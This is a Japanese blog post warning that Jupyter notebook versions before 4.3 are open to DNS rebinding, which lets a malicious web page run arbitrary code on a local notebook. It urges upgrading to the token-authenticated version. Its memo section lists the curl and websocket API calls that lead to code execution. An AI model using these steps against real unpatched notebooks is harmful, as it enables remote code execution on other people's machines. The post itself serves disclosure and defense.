古い jupyter notebook (<4.3) は危ないので気をつけようという話
概要
古い jupyter notebook (バージョン 4.3 未満) は DNS rebinding attack に対して脆弱です。 そのため、ローカルで notebook 動作中に悪意あるウェブページを閲覧しただけで、任意コードの実行を許す恐れがあります。
バージョン 4.3 からデフォルトで有効になった token 認証によってこの攻撃は防げるので、さっさと最新版に上げときましょう。
デモ
お手元で pip install "notebook<4.3"
して、 jupyter-notebook
を起動してから上記 URL にアクセスしてみてください。 待っているとそのうち電卓が起動すると思います。
(一応 notebook-4.2.3 に対して Ubuntu と OSX 上で、 firefox と chrome で動作を確認してます。)
説明
DNS rebinding attack によって、悪意あるウェブページ上で動作する javascript からローカルで動作する jupyter notebook に対して、任意の HTTP リクエストを送ることが出来ます。
古い jupyter notebook はリクエストの認証や Host ヘッダの確認といった対策を行っていないので、このリクエストを普通に受け入れてしまいます。
jupyter notebook に任意のリクエストを送れるということは、要するに任意の python コードを実行できるということです。
バージョン 4.3 から token 認証がデフォルトで有効となりました。 攻撃者は token を知ることが出来ないため、 notebook へのリクエストを成功させることが出来ません。 よって、コード実行なども出来ません。
ということで、 jupyter notebook は最新にしておきましょう。
メモ
コード実行までに必要な notebook の API について。
新しい
.ipynb
ファイルの作成$ curl -d '{"type":"notebook"}' http://localhost:8888/api/contents | jq . { "format": null, "name": "Untitled.ipynb", "last_modified": "2016-12-25T09:00:00.000000+00:00", "writable": true, "path": "Untitled.ipynb", "content": null, "created": "2016-12-25T09:00:00.000000+00:00", "type": "notebook", "mimetype": null }
どの kernel が利用できるのか調べる。
$ curl http://localhost:8888/api/kernelspecs | jq . { "default": "python3", "kernelspecs": { "python3": { "name": "python3", "resources": { "logo-32x32": "/kernelspecs/python3/logo-32x32.png", "logo-64x64": "/kernelspecs/python3/logo-64x64.png" }, "spec": { "language": "python", "argv": [ "/venv/bin/python3.5", "-m", "ipykernel", "-f", "{connection_file}" ], "env": {}, "display_name": "Python 3" } } } }
kernel の起動
$ curl -d '{"notebook": {"path": "Untitled.ipynb"}, "kernel": {"id": null, "name": "python3"}}' http://localhost:8888/api/sessions | jq . { "kernel": { "name": "python3", "id": "4102da2b-bb4c-47f9-8660-cf5b84779d07" }, "id": "92aa4c5c-d83d-4924-8bcc-80bb523f9f19", "notebook": { "path": "Untitled.ipynb" } }
kernel に接続
ws://localhost:8888/api/kernels/<KERNEL-ID>/channels?session_id=<SESSIONID>
に websocket で接続する。(<KERNEL-ID> のトコには上記で返ってきた kernel.id を入れる。)
(<SESSIONID> はテキトウにランダム生成すればよさそう。)
コードの実行
以下のような JSON 文字列を websocket に send する:
{ "header": { "msg_id": "<MESSAGEID>", "username": "username", "session": "<SESSIONID>", "msg_type": "execute_request", "version": "5.0" }, "metadata": {}, "content": { "code": "print('hello')", "silent": false, "store_history": true, "user_expressions": {}, "allow_stdin": true, "stop_on_error": true }, "buffers": [], "parent_header": {}, "channel": "shell" }
(<SESSIONID> には上記 <SESSIONID> と同じ値を渡しとけばよいっぽい。)
(<MESSAGEID> は何でもよさそう。)